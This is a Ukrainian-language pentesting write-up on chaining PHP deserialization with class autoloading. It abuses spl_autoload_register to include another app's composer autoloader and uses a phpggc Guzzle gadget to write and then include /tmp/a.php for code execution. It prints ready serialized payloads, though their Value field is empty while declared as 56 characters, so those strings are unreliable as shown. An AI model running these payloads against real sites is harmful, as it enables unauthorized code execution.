# PHP - Десеріалізація + Автозавантаження класів {{#include ../../banners/hacktricks-training.md}} Спочатку вам слід перевірити, що таке [**Автозавантаження класів**](https://www.php.net/manual/en/language.oop5.autoload.php). ## PHP десеріалізація + spl_autoload_register + LFI/Gadget Ми знаходимося в ситуації, коли знайшли **десеріалізацію PHP у веб-додатку** без **жодної** бібліотеки, вразливої до гаджетів всередині **`phpggc`**. Однак у тому ж контейнері була **інша веб-програма composer з вразливими бібліотеками**. Тому метою було **завантажити завантажувач composer іншого веб-додатку** і зловживати ним, щоб **завантажити гаджет, який експлуатуватиме цю бібліотеку з гаджетом** з веб-додатку, вразливого до десеріалізації. Кроки: - Ви знайшли **десеріалізацію**, і в поточному коді програми **немає жодного гаджета** - Ви можете зловживати функцією **`spl_autoload_register`** на кшталт наступної, щоб **завантажити будь-який локальний файл з розширенням `.php`** - Для цього ви використовуєте десеріалізацію, де ім'я класу буде всередині **`$name`**. Ви **не можете використовувати "/" або "."** в імені класу в серіалізованому об'єкті, але **код** **замінює** **підкреслення** ("\_") **на слеші** ("/"). Тож ім'я класу, таке як `tmp_passwd`, буде перетворено на `/tmp/passwd.php`, і код спробує його завантажити.\ Приклад **гаджета** буде: **`O:10:"tmp_passwd":0:{}`** ```php spl_autoload_register(function ($name) { if (preg_match('/Controller$/', $name)) { $name = "controllers/${name}"; } elseif (preg_match('/Model$/', $name)) { $name = "models/${name}"; } elseif (preg_match('/_/', $name)) { $name = preg_replace('/_/', '/', $name); } $filename = "/${name}.php"; if (file_exists($filename)) { require $filename; } elseif (file_exists(__DIR__ . $filename)) { require __DIR__ . $filename; } }); ``` > [!TIP] > Якщо у вас є **завантаження файлів** і ви можете завантажити файл з **розширенням `.php`**, ви можете **безпосередньо зловживати цією функціональністю** і отримати вже RCE. У моєму випадку нічого подібного не було, але всередині **того ж контейнера** була інша веб-сторінка композера з **бібліотекою, вразливою до гаджета `phpggc`**. - Щоб завантажити цю іншу бібліотеку, спочатку потрібно **завантажити завантажувач композера тієї іншої веб-аплікації** (оскільки завантажувач поточної аплікації не зможе отримати доступ до бібліотек іншої). **Знаючи шлях до аплікації**, ви можете досягти цього дуже легко за допомогою: **`O:28:"www_frontend_vendor_autoload":0:{}`** (У моєму випадку завантажувач композера був у `/www/frontend/vendor/autoload.php`) - Тепер ви можете **завантажити** інший **завантажувач композера аплікації**, тож настав час **`згенерувати phpgcc`** **payload** для використання. У моєму випадку я використовував **`Guzzle/FW1`**, що дозволило мені **записувати будь-який файл у файловій системі**. - ПРИМІТКА: **Згенерований гаджет не працював**, щоб він працював, я **модифікував** цей payload **`chain.php`** phpggc і встановив **всі атрибути** класів **з приватних на публічні**. Якщо ні, після десеріалізації рядка атрибути створених об'єктів не мали жодних значень. - Тепер у нас є спосіб **завантажити інший завантажувач композера аплікації** і мати **phpggc payload, який працює**, але нам потрібно **зробити це в ТОМУ Ж ЗАПИТІ, щоб завантажувач був завантажений, коли гаджет використовується**. Для цього я надіслав серіалізований масив з обома об'єктами, як: - Ви можете побачити, **спочатку завантажується завантажувач, а потім payload**. ```php a:2:{s:5:"Extra";O:28:"www_frontend_vendor_autoload":0:{}s:6:"Extra2";O:31:"GuzzleHttp\Cookie\FileCookieJar":4:{s:7:"cookies";a:1:{i:0;O:27:"GuzzleHttp\Cookie\SetCookie":1:{s:4:"data";a:3:{s:7:"Expires";i:1;s:7:"Discard";b:0;s:5:"Value";s:56:"";}}}s:10:"strictMode";N;s:8:"filename";s:10:"/tmp/a.php";s:19:"storeSessionCookies";b:1;}} ``` - Тепер ми можемо **створити та записати файл**, однак користувач **не міг записувати в жодну папку всередині веб-сервера**. Отже, як ви можете бачити в payload, PHP викликає **`system`** з деяким **base64**, який створюється в **`/tmp/a.php`**. Потім ми можемо **повторно використовувати перший тип payload**, який ми використовували як LFI, щоб завантажити завантажувач composer іншого веб-додатку **для завантаження згенерованого `/tmp/a.php`** файлу. Просто додайте це до гаджета десеріалізації: ```php a:3:{s:5:"Extra";O:28:"www_frontend_vendor_autoload":0:{}s:6:"Extra2";O:31:"GuzzleHttp\Cookie\FileCookieJar":4:{s:7:"cookies";a:1:{i:0;O:27:"GuzzleHttp\Cookie\SetCookie":1:{s:4:"data";a:3:{s:7:"Expires";i:1;s:7:"Discard";b:0;s:5:"Value";s:56:"";}}}s:10:"strictMode";N;s:8:"filename";s:10:"/tmp/a.php";s:19:"storeSessionCookies";b:1;}s:6:"Extra3";O:5:"tmp_a":0:{}} ``` **Резюме корисного навантаження** - **Завантажити автозавантаження composer** іншого веб-додатку в тому ж контейнері - **Завантажити гаджет phpggc** для зловживання бібліотекою з іншого веб-додатку (первісний веб-додаток, вразливий до десеріалізації, не мав жодного гаджета у своїх бібліотеках) - Гаджет **створить файл з PHP навантаженням** в /tmp/a.php з шкідливими командами (користувач веб-додатку не може записувати в жодну папку жодного веб-додатку) - Остання частина нашого навантаження буде використовувати **завантажити згенерований php файл**, який виконає команди Мені потрібно було **викликати цю десеріалізацію двічі**. У моєму тестуванні, перший раз файл `/tmp/a.php` був створений, але не завантажений, а вдруге він був правильно завантажений. {{#include ../../banners/hacktricks-training.md}}